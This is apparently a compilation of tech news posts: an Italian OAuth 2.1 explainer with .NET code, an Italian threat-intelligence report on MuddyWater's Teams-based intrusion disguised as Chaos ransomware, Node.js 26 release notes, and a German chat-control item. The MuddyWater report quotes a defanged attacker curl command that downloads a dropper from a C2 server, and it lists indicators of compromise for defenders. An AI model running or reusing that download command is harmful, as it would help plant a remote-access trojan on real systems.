Spcnet.it

2026-05-07 17:18:37

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario

OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0

OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine

Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

• Un job notturno che interroga un’API di reportistica
• Un microservizio di spedizione che notifica il microservizio di inventario
• Un worker in background che elabora una coda di messaggi
• Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

1. Il servizio invia le proprie credenziali al token service via HTTP POST
2. Il token service verifica l’identità e restituisce un access token
3. Il servizio usa il token per chiamare le API target

// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:

• Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
• private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
• Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio

Flusso 2: Authorization Code + PKCE — applicazioni con utente

Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona

1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
2. L’utente si autentica (password, MFA, policy aziendali)
3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice

PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

1. Genera una stringa casuale (code_verifier)
2. Calcola il suo hash SHA-256 (code_challenge)
3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser

Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

1. Il dispositivo richiede un codice utente e un URL di verifica al token service
2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1

Scegliere il flusso corretto richiede esattamente due domande:

1. È coinvolto un utente umano?No → Client Credentials
   
   • Sì → vai al punto 2

   
   

2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
   
   • No → Device Authorization

   
   

Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché

Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

• Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
• Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
• Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.

Conclusioni

OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026

OAuth 2.1 Made Simple: The Only Flows You Need

OAuth 2.1 dramatically simplifies the protocol by eliminating insecure flows. Learn the only three OAuth 2.1 flows you need for every scenario: Client Credentials, Authorization Code with mandatory PKCE, and Device Authorization.

^{Khalid Abuhakmeh (Duende Software)}

(in)sicurezza digitale

2026-05-07 13:43:39

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime

Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo

MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos

Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa

L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica

Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma

Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica

Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori

• Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
• Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
• Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
• MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
• Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.

Spcnet.it

2026-05-07 13:34:27

Node.js 26.0.0: Temporal API di default, V8 14.6 e rimozione delle API legacy

Il 5 maggio 2026 il team di Node.js ha rilasciato la versione 26.0.0, denominata “Current”, che introduce cambiamenti significativi alla piattaforma runtime JavaScript server-side più diffusa al mondo. Node.js 26 entrerà in Long-Term Support (LTS) nell’ottobre 2026: da quel momento sarà la release raccomandata per ambienti di produzione. Nel frattempo, i sei mesi di status “Current” sono il momento ideale per esplorare le novità e valutare l’impatto sulle proprie applicazioni.

Temporal API abilitata di default

La novità più attesa di Node.js 26 è l’abilitazione di default della Temporal API, la moderna API JavaScript per la gestione di date e orari. Per anni, la community ha convissuto con i limiti dell’oggetto Date: mancanza di supporto per i fusi orari, comportamenti incoerenti, mutabilità non controllata, e risultati controintuitivi in molti scenari di internazionalizzazione.

Temporal risolve tutti questi problemi alla radice, introducendo un sistema di tipi ricco e immutabile:

• Temporal.PlainDate: una data senza orario né fuso orario
• Temporal.PlainTime: un orario senza data né fuso orario
• Temporal.PlainDateTime: data e orario senza fuso orario
• Temporal.ZonedDateTime: data e orario con fuso orario esplicito
• Temporal.Instant: un momento preciso nel tempo (come un timestamp Unix)
• Temporal.Duration: un intervallo di tempo

Ecco un esempio pratico di come Temporal semplifica operazioni che con Date richiedevano librerie esterne come Luxon o date-fns:

// Ottenere la data di oggi in un fuso orario specifico
const oggi = Temporal.Now.plainDateISO('Europe/Rome');
console.log(oggi.toString()); // "2026-05-07"

// Aggiungere 30 giorni senza preoccuparsi dei mesi
const traThentaGiorni = oggi.add({ days: 30 });
console.log(traThentaGiorni.toString()); // "2026-06-06"

// Calcolare la differenza tra due date
const inizio = Temporal.PlainDate.from('2026-01-01');
const fine = Temporal.PlainDate.from('2026-12-31');
const differenza = inizio.until(fine);
console.log(differenza.days); // 364

// Lavorare con fusi orari in modo esplicito
const appuntamento = Temporal.ZonedDateTime.from({
  year: 2026,
  month: 5,
  day: 15,
  hour: 14,
  minute: 30,
  timeZone: 'America/New_York'
});
const inRoma = appuntamento.withTimeZone('Europe/Rome');
console.log(inRoma.toLocaleString('it-IT'));

Fino a Node.js 25, Temporal era disponibile ma richiedeva il flag --harmony-temporal. Ora è parte integrante del runtime e non serve alcuna configurazione aggiuntiva.

V8 14.6: due nuove proposte TC39

Il motore JavaScript V8 è stato aggiornato alla versione 14.6.202.33 (Chromium 146), portando con sé due importanti proposte TC39 ora disponibili nativamente:

Upsert: Map.prototype.getOrInsert()

La proposta Upsert introduce i metodi getOrInsert() e getOrInsertComputed() su Map e WeakMap. Si tratta di un pattern molto comune nello sviluppo: controllare se una chiave esiste in una mappa, e se non esiste, inserire un valore di default e restituirlo.

// Prima di Node.js 26 - verboso e ripetitivo
function getOrCreate(map, key, defaultValue) {
  if (!map.has(key)) {
    map.set(key, defaultValue);
  }
  return map.get(key);
}

const cache = new Map();
const utenti = getOrCreate(cache, 'admin', []);
utenti.push('mario');

// Con Node.js 26 - conciso e leggibile
const cache = new Map();
const utenti = cache.getOrInsert('admin', []);
utenti.push('mario');

// Versione con factory function (lazy initialization)
const grandi = cache.getOrInsertComputed('admin', (key) => {
  return recuperaUtentiDalDb(key); // calcolato solo se necessario
});

Iterator sequencing: Iterator.concat()

La proposta Iterator sequencing introduce Iterator.concat(), che permette di concatenare più iteratori senza materializzarli tutti in memoria contemporaneamente:

// Concatenare lazily più sorgenti di dati
const paginaUno = [1, 2, 3][Symbol.iterator]();
const paginaDue = [4, 5, 6][Symbol.iterator]();
const paginaTre = [7, 8, 9][Symbol.iterator]();

const tuttiGliElementi = Iterator.concat(paginaUno, paginaDue, paginaTre);
for (const elemento of tuttiGliElementi) {
  console.log(elemento); // 1, 2, 3, 4, 5, 6, 7, 8, 9
}

Undici 8.0: il client HTTP di nuova generazione

La libreria Undici, il client HTTP integrato in Node.js, è stata aggiornata alla versione 8.0.2. Undici è il motore dietro fetch() nativo in Node.js ed è progettato per prestazioni e correttezza del protocollo HTTP/1.1 e HTTP/2. La versione 8 porta miglioramenti all’implementazione di WebSocket, gestione delle connessioni e supporto per proxy avanzati.

Deprecazioni e rimozioni importanti

Come ogni major version, Node.js 26 rimuove API che erano state deprecate nelle versioni precedenti. Ecco le più impattanti:

Rimozione di http.Server.prototype.writeHeader()

Il metodo writeHeader() è stato definitivamente rimosso. Era già deprecato da anni: la forma corretta è writeHead().

// ❌ Non funziona più in Node.js 26
res.writeHeader(200, { 'Content-Type': 'application/json' });

// ✅ Forma corretta
res.writeHead(200, { 'Content-Type': 'application/json' });

Rimozione dei moduli legacy _stream_*

I moduli interni _stream_wrap, _stream_readable, _stream_writable, _stream_duplex, _stream_transform e _stream_passthrough sono stati rimossi definitivamente. Se li state importando direttamente (cosa sconsigliata ma ancora diffusa in codice datato), dovete migrare all’API pubblica:

// ❌ Non funziona più
const { Readable } = require('_stream_readable');

// ✅ Sempre corretto
const { Readable } = require('stream');
// o con ESM:
import { Readable } from 'node:stream';

Rimozione di –experimental-transform-types

Il flag --experimental-transform-types, che abilitava la trasformazione automatica dei tipi TypeScript a runtime, è stato rimosso. Per eseguire TypeScript in Node.js, la raccomandazione ufficiale rimane l’uso di --experimental-strip-types (disponibile dalla v22.6+) oppure di tool dedicati come tsx o ts-node.

Deprecazioni runtime

Diverse API passano ora a deprecazione a runtime, il che significa che genereranno un avviso quando utilizzate, senza però bloccare l’esecuzione:

• module.register() — deprecato in favore di import.meta.url patterns
• Alcune API crypto (DEP0203, DEP0204) legate a formati di chiavi obsoleti
• Alcune API stream (DEP0201)

Come aggiornare

Per installare Node.js 26 tramite nvm:

nvm install 26
nvm use 26
node --version  # v26.0.0

Con fnm:

fnm install 26
fnm use 26

Prima di aggiornare i progetti in produzione, si raccomanda di:

1. Verificare che tutte le dipendenze siano compatibili con Node.js 26 (controllate le note di release dei principali package)
2. Cercare nel codice le API rimosse: writeHeader, _stream_*, --experimental-transform-types
3. Testare il comportamento della Temporal API se il vostro codice ha workaround per Date
4. Abilitare i log delle deprecazioni runtime con NODE_OPTIONS='--trace-deprecation'

Conclusioni

Node.js 26 è una release di maturazione: la Temporal API è finalmente pronta per la produzione, V8 14.6 porta proposte TC39 da lungo tempo attese, e le rimozioni puliscono la piattaforma dagli artefatti del passato. Per chi lavora su progetti Node.js, questo è il momento di iniziare i test su questa versione in vista dell’ingresso in LTS di ottobre 2026.

Fonte: Node.js 26.0.0 Release Notes — nodejs.org, 5 maggio 2026

Node.js — Node.js 26.0.0 (Current)

Node.js® is a free, open-source, cross-platform JavaScript runtime environment that lets developers create servers, web apps, command line tools and scripts.

^nodejs.org

netzpolitik.org

2026-05-06 12:36:42

Die Bundesdatenschutzbeauftragte warnt weiterhin vor der #Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“. Auch die Datenschutzkonferenz fordert die EU-Gesetzgeber auf, die Chatkontrolle „endgültig abzusagen“.

netzpolitik.org/2026/anlasslos…

Datenschutzbeauftragte kritisieren Chatkontrolle

Die Bundesdatenschutzbeauftragte warnt weiterhin vor der Chatkontrolle. Eine „anlasslose Massenüberwachung“ aller Bürger:innen „wäre in einem Rechtstaat beispiellos“.

^{Markus Reuter (netzpolitik.org)}